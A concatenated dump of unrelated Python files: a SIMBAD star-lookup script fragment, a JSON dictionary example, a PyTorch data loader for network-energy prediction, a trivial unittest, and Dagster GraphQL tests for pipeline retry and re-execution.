log.write("\n*****"+time.strftime("%A %d %B %Y %H:%M:%S")+"*****\n") for elt in line:#read all the list of systems and run the parser class and the magnitude function for each one dictio = [] boolean = 0 data2 = "" spectre = "" planet = elt code_source = urllib.urlopen('http://simbad.u-strasbg.fr/simbad/sim-basic?Ident='+planet).read() #First check its existence on simbad if not re.findall("Identifier not found in the database", code_source): parser.feed(code_source) magnitude(dictio, planet, path) '''if re.search('Spectral type:( *<.*?>\n){5}\w*/?\w*', code_source): extraction_spectre = re.search('Spectral type:( *<.*?>\n){5}\w*/?\w*', code_source).group(0) spectre = re.search('(?<=<TT>\n)\w*/?\w*', extraction_spectre).group(0) spectralType(spectre, planet, path) else: print elt, " has no spectral type." log.write(elt+"\t:\tno spectral type\n")''' else: print planet,"\t:\t404 page not found" log.write(planet+" 404 page not found\n") log.close() system_list.close()
py
1a4cdb024e1b7f2f8ff9a3a6e4aca228460b5c30
import json # Create a dictionary object person_dict = {'first': 'Christopher', 'last':'Harrison'} # Add additional key pairs to dictionary as needed person_dict['City']='Seattle' # Create a list object of programming languages languages_list = ['CSharp','Python','JavaScript'] # Add list object to dictionary for the languages key person_dict['languages']= languages_list # Convert dictionary to JSON object person_json = json.dumps(person_dict) # Print JSON object print(person_json)
py
1a4cdc2c3cbd3ec26a09d14fc0ec871661073179
import pandas as pd import numpy as np import torch import torch.utils.data as Data def get_params_length(layer_id): ''' 获取不同层参数向量长度 ''' get_params_length_dic = { 0:13, 1:19, 2:25, 3:14, 4:20, 5:26, 6:11, 7:17, 8:23, 9:9, 10:14, 11:19, 12:7, 13:9, 14:11, 15:4, 16:5, 17:6, 18:4, 19:5, 20:6, 21:4, 22:6, 23:3, 24:3, 25:5, 26:6, } return get_params_length_dic[layer_id] def link_vector_to_graph(link_list,length,max_layer_length): ''' 将连接向量转化成邻接矩阵,对角线元素表示是否接收初始输入 ''' adj = np.zeros((max_layer_length,max_layer_length)) graph = np.zeros([length,length],dtype = float) flag = 0 # print(link_list,length,max_layer_length) if len(link_list) != length * length: for i in range(0,length): for j in range(0,i+1): graph[i,j] = link_list[flag] flag += 1 else: for i in range(0,length): for j in range(0,length): graph[i,j] = link_list[flag] flag += 1 adj[0:length,0:length] = graph for i in range(length): adj[i][i] = 1 return adj.T def get_params_position(id): params_length_dic = { 0:0, 1:19, 2:0, 3:0, 4:20, 5:0, 6:0, 7:17, 8:0, 9:0, 10:14, 11:0, 12:0, 13:9, 14:0, 15:0, 16:5, 17:0, 18:0, 19:5, 20:0, 21:4, 22:6, 23:3, 24:3, 25:5, 26:0 } start = 0 end = 0 for i in range(26): if i != id: start += params_length_dic[i] end += params_length_dic[i] else: end += params_length_dic[i] break return start,end def load_randomdataset_test_data(): df_1 = pd.read_csv('../data/dataset/random_testset_1.txt',sep = ' ',index_col=False) df_2 = pd.read_csv('../data/dataset/random_testset_2.txt',sep = ' ',index_col=False) df_3 = pd.read_csv('../data/dataset/random_testset_3.txt',sep = ' ',index_col=False) mean_energy =(df_1['all_energy'] + df_2['all_energy'] + df_3['all_energy']) / 3 df_1['all_energy'] = mean_energy return df_1 def load_customdataset_test_data(): df_1 = pd.read_csv('../data/dataset/custom_testset_1.txt',sep = ' ',index_col=False) df_2 = pd.read_csv('../data/dataset/custom_testset_2.txt',sep = ' ',index_col=False) df_3 = pd.read_csv('../data/dataset/custom_testset_3.txt',sep = ' ',index_col=False) mean_energy =(df_1['all_energy'] + df_2['all_energy'] + df_3['all_energy']) / 3 df_1['all_energy'] = mean_energy return df_1 def vaild(model,params_min_list,params_max_list,max_layer_length,layer_parameters,layer_link,layer_id,energy,split_gap = 24,split_index_list = None): layer_parameters = np.array([float(x) if '.' in x else int(x) for x in layer_parameters.split(',')],dtype='float') layer_link = np.array([int(x.replace('.0','')) for x in layer_link.split(',')]) layer_id = np.array([int(x) for x in layer_id.split(',')]) # array = np.zeros(1) energy = [energy] index = 0 for id in layer_id: params_length = get_params_length(id) params = layer_parameters[index:index+params_length] params = [(params[j] - params_min_list[id][j]) / (params_max_list[id][j]) if params_max_list[id][j] != 0 or params_min_list[id][j] != params_max_list[id][j] else 0 for j in range(params_length)] layer_parameters[index:index+params_length] = params index += params_length index = 0 layer_params = [] for id in layer_id: params = [0 for i in range(110)] start,end = get_params_position(id) params_length = get_params_length(id) params[start:end] = layer_parameters[index:index + params_length].tolist() layer_params.append(params) index += params_length adj = link_vector_to_graph(layer_link,len(layer_id),max_layer_length) layer_id = layer_id.tolist() if len(layer_id) < max_layer_length: for j in range(0,max_layer_length - len(layer_id)): layer_params.append([0 for i in range(110)]) layer_id.extend([-1 for i in range(max_layer_length - len(layer_id))]) #层数量长度不足的填充-1 adj = torch.ShortTensor(np.array(adj)).unsqueeze(0).cuda() # [1,70,294] data_x = torch.FloatTensor(np.array(layer_params)).unsqueeze(0).cuda() # [1,70,294] data_id = np.array(layer_id) data_id = torch.FloatTensor(data_id).unsqueeze(0).cuda() # print() output = model(data_x, adj, data_id) # output = torch.squeeze(output, dim=0) # print(output) MAE_error = abs(output.item() - energy[0]) error_val = accuracy_test(output.cpu(),energy[0]) return output, MAE_error, error_val def accuracy_test(output, labels): return abs(output - labels)/labels * 100 def load_data(dataset_type): print('load data...') #存储每类层的所有元素,方便后续计算最大值最小值 params_list = { 0:[],1:[],2:[],3:[],4:[],5:[],6:[],7:[],8:[],9:[],10:[],11:[],12:[],13:[],14:[],15:[],16:[],17:[],18:[],19:[],20:[],21:[],22:[],23:[],24:[],25:[],26:[] } #存储每类层,各个元素的最小值 params_min_list = { 0:[],1:[],2:[],3:[],4:[],5:[],6:[],7:[],8:[],9:[],10:[],11:[],12:[],13:[],14:[],15:[],16:[],17:[],18:[],19:[],20:[],21:[],22:[],23:[],24:[],25:[],26:[] } #存储每类层,各个元素的最小值 params_max_list = { 0:[],1:[],2:[],3:[],4:[],5:[],6:[],7:[],8:[],9:[],10:[],11:[],12:[],13:[],14:[],15:[],16:[],17:[],18:[],19:[],20:[],21:[],22:[],23:[],24:[],25:[],26:[] } data = pd.read_csv('../data/dataset/%s_data.txt' % dataset_type,sep = ' ',index_col=False) layer_parameters = data['layer_parameters'].values layer_link = data['layer_link'].values layer_id = data['layer_id'].values max_layer_length = max([len(layer_id.split(',')) for layer_id in data['layer_id'].values]) #获取最长的层数 # print(max_layer_length) for i in range(len(layer_parameters)): try: layer_parameters[i] = np.array([float(x) if '.' in x else int(x) for x in layer_parameters[i].split(',')],dtype='float') layer_link[i] = np.array([int(x) for x in layer_link[i].split(',')]) layer_id[i] = np.array([int(x) for x in layer_id[i].split(',')]) except: print(i,layer_parameters[i],layer_id[i]) for i in range(len(layer_parameters)): one_net_layer_id = layer_id[i] index = 0 for id in one_net_layer_id: params_length = get_params_length(id) params = layer_parameters[i][index:index+params_length] index += params_length params_list[id].append(params.tolist()) for i in range(0,27): if len(params_list[i]) != 0: params_max_list[i] = np.amax(np.array(params_list[i]), axis=0) params_min_list[i] = np.amin(np.array(params_list[i]), axis=0) # 归一化 for i in range(len(layer_parameters)): one_net_layer_id = layer_id[i] index = 0 #对不同层,分别归一化 for id in one_net_layer_id: params_length = get_params_length(id) params = layer_parameters[i][index:index+params_length] params = [(params[j] - params_min_list[id][j]) / (params_max_list[id][j]) if params_max_list[id][j] != 0 else 0 for j in range(params_length)] layer_parameters[i][index:index+params_length] = params index += params_length all_params_array = [] all_id_array = [] all_adj_array = [] data_link_all = torch.IntTensor() for i in range(0,len(layer_parameters)): # if i % 1000 == 0 and i == 1000: # data_link = torch.IntTensor(np.array(all_adj_array)) # data_link_all = data_link # all_adj_array = [] if i % 1000 == 0 and i != 0: data_link = torch.IntTensor(np.array(all_adj_array)) data_link_all = torch.cat([data_link_all,data_link]) all_adj_array = [] net_adj = link_vector_to_graph(layer_link[i],len(layer_id[i]),max_layer_length) all_adj_array.append(net_adj) # print(all_adj_array[0]) data_link = torch.IntTensor(np.array(all_adj_array)) data_link_all = torch.cat([data_link_all,data_link]) print(data_link_all.shape) for i in range(0,len(layer_parameters)): index = 0 layer_params = [] for id in layer_id[i]: params = [0 for i in range(110)] start,end = get_params_position(id) params_length = get_params_length(id) if id != 23 or id != 24: params[start:end] = layer_parameters[i][index:index + params_length].tolist() layer_params.append(params) index += params_length for j in range(0,max_layer_length - len(layer_id[i])): layer_params.append([0 for i in range(110)]) for j in range(len(layer_id[i])): id = layer_id[i][j] if id == 23 or id == 24: for k in range(j,len(layer_id[i])-1): layer_id[i][k] = layer_id[i][k+1] layer_id[i][len(layer_id[i])-1] = -1 layer_id[i] = layer_id[i].tolist() layer_id[i].extend([-1 for i in range(max_layer_length - len(layer_id[i]))]) #层数量长度不足的填充-1 all_id_array.append(layer_id[i]) all_params_array.append(layer_params) # b = np.load("all_params_array.npy") # data_link = torch.FloatTensor(np.array(all_adj_array)) data_x = torch.FloatTensor(np.array(all_params_array)) data_id = np.array(all_id_array) data_id = torch.FloatTensor(data_id) data_y = torch.FloatTensor(data['all_energy'].values) train_size = int(0.8 * len(data_x)) test_size = len(data_x) - train_size BATCH_SIZE = 128 full_dataset = Data.TensorDataset(data_x, data_id, data_link_all, data_y) #将x,y读取,转换成Tensor格式 train_dataset, test_dataset = torch.utils.data.random_split(full_dataset, [train_size, test_size]) train_loader = Data.DataLoader( dataset=train_dataset, # torch TensorDataset format batch_size=BATCH_SIZE, # 最新批数据 shuffle=True, # 是否随机打乱数据 num_workers=0, # 用于加载数据的子进程 ) # test_torch_dataset = Data.TensorDataset(test_params_inputs, test_id_inputs, test_outputs) #将x,y读取,转换成Tensor格式 test_loader = Data.DataLoader( dataset=test_dataset, # torch TensorDataset format batch_size=BATCH_SIZE, # 最新批数据 shuffle=True, # 是否随机打乱数据 num_workers=0, # 用于加载数据的子进程 ) return train_loader,test_loader,params_min_list,params_max_list,max_layer_length def get_50_epoch_MAPE(epoch,vaild_acc): all_test_mean = 0 all_test_mean_list = [] count = 0 if epoch < 50: start_index = 0 else: start_index = epoch - 50 for net_name,acc_list in vaild_acc.items(): count += 1 all_test_mean += np.mean(acc_list[start_index:epoch],axis=0)[0] all_test_mean_list.append(np.mean(acc_list[start_index:epoch],axis=0)[0]) all_test_mean_list.sort() return np.mean(all_test_mean_list[0:18]) def accuracy_train(output, labels): output = output.cpu().detach().numpy().tolist() labels = labels.cpu().numpy().tolist() for i in range(0,len(output)): output[i] = abs(output[i] - labels[i])/labels[i] * 100 return np.mean(output)
py
1a4cdd0ceeb77bf907d664e86e9503bba6c72fe9
import unittest class TestClassRunTest(unittest.TestCase): def runTest(self): pass if __name__ == '__main__': unittest.main()
py
1a4cdd3f545b0d191e02bac847a8ea27b2acfb14
import sys from time import sleep import pytest from dagster_graphql.client.query import ( LAUNCH_PIPELINE_EXECUTION_MUTATION, LAUNCH_PIPELINE_REEXECUTION_MUTATION, PIPELINE_REEXECUTION_INFO_QUERY, ) from dagster_graphql.test.utils import ( execute_dagster_graphql, execute_dagster_graphql_and_finish_runs, infer_pipeline_selector, ) from dagster import DagsterEventType from dagster.core.execution.plan.objects import StepOutputHandle from dagster.core.storage.intermediate_store import build_fs_intermediate_store from dagster.core.storage.intermediates_manager import IntermediateStoreIntermediatesManager from dagster.core.storage.tags import RESUME_RETRY_TAG from dagster.core.utils import make_new_run_id from .graphql_context_test_suite import ( ExecutingGraphQLContextTestMatrix, GraphQLContextVariant, OutOfProcessExecutingGraphQLContextTestMatrix, make_graphql_context_test_suite, ) from .setup import ( PoorMansDataFrame, csv_hello_world_solids_config, csv_hello_world_solids_config_fs_storage, get_retry_multi_execution_params, retry_config, ) from .utils import get_all_logs_for_finished_run_via_subscription, sync_execute_get_events def step_started(logs, step_key): return any( log['stepKey'] == step_key for log in logs if log['__typename'] in ('ExecutionStepStartEvent',) ) def step_did_not_run(logs, step_key): return not any( log['stepKey'] == step_key for log in logs if log['__typename'] in ('ExecutionStepSuccessEvent', 'ExecutionStepSkippedEvent', 'ExecutionStepFailureEvent') ) def step_did_succeed(logs, step_key): return any( log['__typename'] == 'ExecutionStepSuccessEvent' and step_key == log['stepKey'] for log in logs ) def step_did_skip(logs, step_key): return any( log['__typename'] == 'ExecutionStepSkippedEvent' and step_key == log['stepKey'] for log in logs ) def step_did_fail(logs, step_key): return any( log['__typename'] == 'ExecutionStepFailureEvent' and step_key == log['stepKey'] for log in logs ) def step_did_fail_in_records(records, step_key): return any( record.step_key == step_key and record.dagster_event.event_type_value == DagsterEventType.STEP_FAILURE.value for record in records ) def step_did_succeed_in_records(records, step_key): return any( record.step_key == step_key and record.dagster_event.event_type_value == DagsterEventType.STEP_SUCCESS.value for record in records ) def step_did_not_run_in_records(records, step_key): return not any( record.step_key == step_key and record.dagster_event.event_type_value in ( DagsterEventType.STEP_SUCCESS.value, DagsterEventType.STEP_FAILURE.value, DagsterEventType.STEP_SKIPPED.value, ) for record in records ) def first_event_of_type(logs, message_type): for log in logs: if log['__typename'] == message_type: return log return None def has_event_of_type(logs, message_type): return first_event_of_type(logs, message_type) is not None def get_step_output_event(logs, step_key, output_name='result'): for log in logs: if ( log['__typename'] == 'ExecutionStepOutputEvent' and log['stepKey'] == step_key and log['outputName'] == output_name ): return log return None class TestRetryExecution(ExecutingGraphQLContextTestMatrix): def test_retry_pipeline_execution(self, graphql_context): selector = infer_pipeline_selector(graphql_context, 'eventually_successful') result = execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_EXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'runConfigData': retry_config(0), } }, ) run_id = result.data['launchPipelineExecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[ 'pipelineRunLogs' ]['messages'] assert step_did_succeed(logs, 'spawn.compute') assert step_did_fail(logs, 'fail.compute') assert step_did_skip(logs, 'fail_2.compute') assert step_did_skip(logs, 'fail_3.compute') assert step_did_skip(logs, 'reset.compute') retry_one = execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'runConfigData': retry_config(1), 'executionMetadata': { 'rootRunId': run_id, 'parentRunId': run_id, 'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}], }, } }, ) run_id = retry_one.data['launchPipelineReexecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[ 'pipelineRunLogs' ]['messages'] assert step_did_not_run(logs, 'spawn.compute') assert step_did_succeed(logs, 'fail.compute') assert step_did_fail(logs, 'fail_2.compute') assert step_did_skip(logs, 'fail_3.compute') assert step_did_skip(logs, 'reset.compute') retry_two = execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'runConfigData': retry_config(2), 'executionMetadata': { 'rootRunId': run_id, 'parentRunId': run_id, 'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}], }, } }, ) run_id = retry_two.data['launchPipelineReexecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[ 'pipelineRunLogs' ]['messages'] assert step_did_not_run(logs, 'spawn.compute') assert step_did_not_run(logs, 'fail.compute') assert step_did_succeed(logs, 'fail_2.compute') assert step_did_fail(logs, 'fail_3.compute') assert step_did_skip(logs, 'reset.compute') retry_three = execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'runConfigData': retry_config(3), 'executionMetadata': { 'rootRunId': run_id, 'parentRunId': run_id, 'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}], }, } }, ) run_id = retry_three.data['launchPipelineReexecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[ 'pipelineRunLogs' ]['messages'] assert step_did_not_run(logs, 'spawn.compute') assert step_did_not_run(logs, 'fail.compute') assert step_did_not_run(logs, 'fail_2.compute') assert step_did_succeed(logs, 'fail_3.compute') assert step_did_succeed(logs, 'reset.compute') def test_retry_resource_pipeline(self, graphql_context): context = graphql_context selector = infer_pipeline_selector(graphql_context, 'retry_resource_pipeline') result = execute_dagster_graphql_and_finish_runs( context, LAUNCH_PIPELINE_EXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'runConfigData': {'storage': {'filesystem': {}}}, } }, ) run_id = result.data['launchPipelineExecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(context, run_id)['pipelineRunLogs'][ 'messages' ] assert step_did_succeed(logs, 'start.compute') assert step_did_fail(logs, 'will_fail.compute') retry_one = execute_dagster_graphql_and_finish_runs( context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'runConfigData': {'storage': {'filesystem': {}}}, 'executionMetadata': { 'rootRunId': run_id, 'parentRunId': run_id, 'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}], }, } }, ) run_id = retry_one.data['launchPipelineReexecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(context, run_id)['pipelineRunLogs'][ 'messages' ] assert step_did_not_run(logs, 'start.compute') assert step_did_fail(logs, 'will_fail.compute') def test_retry_multi_output(self, graphql_context): context = graphql_context result = execute_dagster_graphql_and_finish_runs( context, LAUNCH_PIPELINE_EXECUTION_MUTATION, variables={ 'executionParams': get_retry_multi_execution_params(context, should_fail=True) }, ) run_id = result.data['launchPipelineExecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(context, run_id)['pipelineRunLogs'][ 'messages' ] assert step_did_succeed(logs, 'multi.compute') assert step_did_skip(logs, 'child_multi_skip.compute') assert step_did_fail(logs, 'can_fail.compute') assert step_did_skip(logs, 'child_fail.compute') assert step_did_skip(logs, 'child_skip.compute') assert step_did_skip(logs, 'grandchild_fail.compute') retry_one = execute_dagster_graphql_and_finish_runs( context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': get_retry_multi_execution_params( context, should_fail=True, retry_id=run_id ) }, ) run_id = retry_one.data['launchPipelineReexecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(context, run_id)['pipelineRunLogs'][ 'messages' ] assert step_did_not_run(logs, 'multi.compute') assert step_did_not_run(logs, 'child_multi_skip.compute') assert step_did_fail(logs, 'can_fail.compute') assert step_did_skip(logs, 'child_fail.compute') assert step_did_skip(logs, 'child_skip.compute') assert step_did_skip(logs, 'grandchild_fail.compute') retry_two = execute_dagster_graphql_and_finish_runs( context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': get_retry_multi_execution_params( context, should_fail=False, retry_id=run_id ) }, ) run_id = retry_two.data['launchPipelineReexecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(context, run_id)['pipelineRunLogs'][ 'messages' ] assert step_did_not_run(logs, 'multi.compute') assert step_did_not_run(logs, 'child_multi_skip.compute') assert step_did_succeed(logs, 'can_fail.compute') assert step_did_succeed(logs, 'child_fail.compute') assert step_did_skip(logs, 'child_skip.compute') assert step_did_succeed(logs, 'grandchild_fail.compute') def test_successful_pipeline_reexecution(self, graphql_context): selector = infer_pipeline_selector(graphql_context, 'csv_hello_world') run_id = make_new_run_id() result_one = execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_EXECUTION_MUTATION, variables={ 'executionParams': { 'selector': selector, 'runConfigData': csv_hello_world_solids_config_fs_storage(), 'executionMetadata': {'runId': run_id}, 'mode': 'default', } }, ) assert ( result_one.data['launchPipelineExecution']['__typename'] == 'LaunchPipelineRunSuccess' ) expected_value_repr = ( '''[OrderedDict([('num1', '1'), ('num2', '2'), ('sum', 3), ''' '''('sum_sq', 9)]), OrderedDict([('num1', '3'), ('num2', '4'), ('sum', 7), ''' '''('sum_sq', 49)])]''' ) instance = graphql_context.instance store = build_fs_intermediate_store(instance.intermediates_directory, run_id) intermediates_manager = IntermediateStoreIntermediatesManager(store) assert intermediates_manager.has_intermediate(None, StepOutputHandle('sum_solid.compute')) assert intermediates_manager.has_intermediate( None, StepOutputHandle('sum_sq_solid.compute') ) assert ( str( intermediates_manager.get_intermediate( None, PoorMansDataFrame, StepOutputHandle('sum_sq_solid.compute') ).obj ) == expected_value_repr ) # retry new_run_id = make_new_run_id() result_two = execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'selector': selector, 'runConfigData': csv_hello_world_solids_config_fs_storage(), 'stepKeys': ['sum_sq_solid.compute'], 'executionMetadata': { 'runId': new_run_id, 'rootRunId': run_id, 'parentRunId': run_id, 'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}], }, 'mode': 'default', } }, ) query_result = result_two.data['launchPipelineReexecution'] assert query_result['__typename'] == 'LaunchPipelineRunSuccess' result = get_all_logs_for_finished_run_via_subscription(graphql_context, new_run_id) logs = result['pipelineRunLogs']['messages'] assert isinstance(logs, list) assert has_event_of_type(logs, 'PipelineStartEvent') assert has_event_of_type(logs, 'PipelineSuccessEvent') assert not has_event_of_type(logs, 'PipelineFailureEvent') assert not get_step_output_event(logs, 'sum_solid.compute') assert get_step_output_event(logs, 'sum_sq_solid.compute') store = build_fs_intermediate_store(instance.intermediates_directory, new_run_id) intermediates_manager = IntermediateStoreIntermediatesManager(store) assert not intermediates_manager.has_intermediate( None, StepOutputHandle('sum_solid.inputs.num.read', 'input_thunk_output') ) assert intermediates_manager.has_intermediate(None, StepOutputHandle('sum_solid.compute')) assert intermediates_manager.has_intermediate( None, StepOutputHandle('sum_sq_solid.compute') ) assert ( str( intermediates_manager.get_intermediate( None, PoorMansDataFrame, StepOutputHandle('sum_sq_solid.compute') ).obj ) == expected_value_repr ) def test_pipeline_reexecution_info_query(self, graphql_context, snapshot): context = graphql_context selector = infer_pipeline_selector(graphql_context, 'csv_hello_world') run_id = make_new_run_id() execute_dagster_graphql_and_finish_runs( context, LAUNCH_PIPELINE_EXECUTION_MUTATION, variables={ 'executionParams': { 'selector': selector, 'runConfigData': csv_hello_world_solids_config_fs_storage(), 'executionMetadata': {'runId': run_id}, 'mode': 'default', } }, ) # retry new_run_id = make_new_run_id() execute_dagster_graphql_and_finish_runs( context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'selector': selector, 'runConfigData': csv_hello_world_solids_config_fs_storage(), 'stepKeys': ['sum_sq_solid.compute'], 'executionMetadata': { 'runId': new_run_id, 'rootRunId': run_id, 'parentRunId': run_id, 'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}], }, 'mode': 'default', } }, ) result_one = execute_dagster_graphql_and_finish_runs( context, PIPELINE_REEXECUTION_INFO_QUERY, variables={'runId': run_id} ) query_result_one = result_one.data['pipelineRunOrError'] assert query_result_one['__typename'] == 'PipelineRun' assert query_result_one['stepKeysToExecute'] is None result_two = execute_dagster_graphql_and_finish_runs( context, PIPELINE_REEXECUTION_INFO_QUERY, variables={'runId': new_run_id} ) query_result_two = result_two.data['pipelineRunOrError'] assert query_result_two['__typename'] == 'PipelineRun' stepKeysToExecute = query_result_two['stepKeysToExecute'] assert stepKeysToExecute is not None snapshot.assert_match(stepKeysToExecute) def test_pipeline_reexecution_invalid_step_in_subset(self, graphql_context): run_id = make_new_run_id() selector = infer_pipeline_selector(graphql_context, 'csv_hello_world') execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'selector': selector, 'runConfigData': csv_hello_world_solids_config(), 'executionMetadata': {'runId': run_id}, 'mode': 'default', } }, ) # retry new_run_id = make_new_run_id() result_two = execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'selector': selector, 'runConfigData': csv_hello_world_solids_config(), 'stepKeys': ['nope'], 'executionMetadata': { 'runId': new_run_id, 'rootRunId': run_id, 'parentRunId': run_id, 'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}], }, 'mode': 'default', } }, ) query_result = result_two.data['launchPipelineReexecution'] assert query_result['__typename'] == 'InvalidStepError' assert query_result['invalidStepKey'] == 'nope' class TestHardFailures(OutOfProcessExecutingGraphQLContextTestMatrix): def test_retry_hard_failure(self, graphql_context): selector = infer_pipeline_selector(graphql_context, 'hard_failer') result = execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_EXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'runConfigData': {'solids': {'hard_fail_or_0': {'config': {'fail': True}}}}, } }, ) run_id = result.data['launchPipelineExecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[ 'pipelineRunLogs' ]['messages'] assert step_started(logs, 'hard_fail_or_0.compute') assert step_did_not_run(logs, 'hard_fail_or_0.compute') assert step_did_not_run(logs, 'increment.compute') retry = execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'runConfigData': {'solids': {'hard_fail_or_0': {'config': {'fail': False}}}}, 'executionMetadata': { 'rootRunId': run_id, 'parentRunId': run_id, 'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}], }, } }, ) run_id = retry.data['launchPipelineReexecution']['run']['runId'] logs = get_all_logs_for_finished_run_via_subscription(graphql_context, run_id)[ 'pipelineRunLogs' ]['messages'] assert step_did_succeed(logs, 'hard_fail_or_0.compute') assert step_did_succeed(logs, 'increment.compute') def _do_retry_intermediates_test(graphql_context, run_id, reexecution_run_id): selector = infer_pipeline_selector(graphql_context, 'eventually_successful') logs = sync_execute_get_events( context=graphql_context, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'executionMetadata': {'runId': run_id}, } }, ) assert step_did_succeed(logs, 'spawn.compute') assert step_did_fail(logs, 'fail.compute') assert step_did_skip(logs, 'fail_2.compute') assert step_did_skip(logs, 'fail_3.compute') assert step_did_skip(logs, 'reset.compute') retry_one = execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'executionMetadata': { 'runId': reexecution_run_id, 'rootRunId': run_id, 'parentRunId': run_id, 'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}], }, } }, ) return retry_one class TestRetryExecutionSyncOnlyBehavior( make_graphql_context_test_suite( context_variants=[GraphQLContextVariant.in_memory_instance_in_process_env()] ) ): def test_retry_requires_intermediates_sync_only(self, graphql_context): run_id = make_new_run_id() reexecution_run_id = make_new_run_id() retry_one = _do_retry_intermediates_test(graphql_context, run_id, reexecution_run_id) assert not retry_one.errors assert retry_one.data assert retry_one.data['launchPipelineReexecution']['__typename'] == 'PythonError' assert ( 'Cannot perform reexecution with non persistent intermediates manager' in retry_one.data['launchPipelineReexecution']['message'] ) class TestRetryExecutionAsyncOnlyBehavior( make_graphql_context_test_suite( context_variants=[GraphQLContextVariant.sqlite_with_default_run_launcher_in_process_env()] ) ): def test_retry_requires_intermediates_async_only(self, graphql_context): run_id = make_new_run_id() reexecution_run_id = make_new_run_id() _do_retry_intermediates_test(graphql_context, run_id, reexecution_run_id) reexecution_run = graphql_context.instance.get_run_by_id(reexecution_run_id) assert reexecution_run.is_failure @pytest.mark.skipif( sys.version_info.major == 3 and sys.version_info.minor == 8, reason="CliApiRunLauncher subprocess termination hanging on py38 in Buildkite, " "see https://github.com/dagster-io/dagster/issues/2768", ) def test_retry_early_terminate(self, graphql_context): instance = graphql_context.instance selector = infer_pipeline_selector( graphql_context, 'retry_multi_input_early_terminate_pipeline' ) run_id = make_new_run_id() execute_dagster_graphql( graphql_context, LAUNCH_PIPELINE_EXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'runConfigData': { 'solids': { 'get_input_one': {'config': {'wait_to_terminate': True}}, 'get_input_two': {'config': {'wait_to_terminate': True}}, }, 'storage': {'filesystem': {}}, }, 'executionMetadata': {'runId': run_id}, } }, ) # Wait until the first step succeeded while instance.get_run_stats(run_id).steps_succeeded < 1: sleep(0.1) # Terminate the current pipeline run at the second step graphql_context.instance.run_launcher.terminate(run_id) records = instance.all_logs(run_id) # The first step should succeed, the second should fail or not start, # and the following steps should not appear in records assert step_did_succeed_in_records(records, 'return_one.compute') assert any( [ step_did_fail_in_records(records, 'get_input_one.compute'), step_did_not_run_in_records(records, 'get_input_one.compute'), ] ) assert step_did_not_run_in_records(records, 'get_input_two.compute') assert step_did_not_run_in_records(records, 'sum_inputs.compute') # Start retry new_run_id = make_new_run_id() execute_dagster_graphql_and_finish_runs( graphql_context, LAUNCH_PIPELINE_REEXECUTION_MUTATION, variables={ 'executionParams': { 'mode': 'default', 'selector': selector, 'runConfigData': { 'solids': { 'get_input_one': {'config': {'wait_to_terminate': False}}, 'get_input_two': {'config': {'wait_to_terminate': False}}, }, 'storage': {'filesystem': {}}, }, 'executionMetadata': { 'runId': new_run_id, 'rootRunId': run_id, 'parentRunId': run_id, 'tags': [{'key': RESUME_RETRY_TAG, 'value': 'true'}], }, } }, ) retry_records = instance.all_logs(new_run_id) # The first step should not run and the other three steps should succeed in retry assert step_did_not_run_in_records(retry_records, 'return_one.compute') assert step_did_succeed_in_records(retry_records, 'get_input_one.compute') assert step_did_succeed_in_records(retry_records, 'get_input_two.compute') assert step_did_succeed_in_records(retry_records, 'sum_inputs.compute')
py
1a4cddb50cc5671f4feedf338b782924c4c08e04
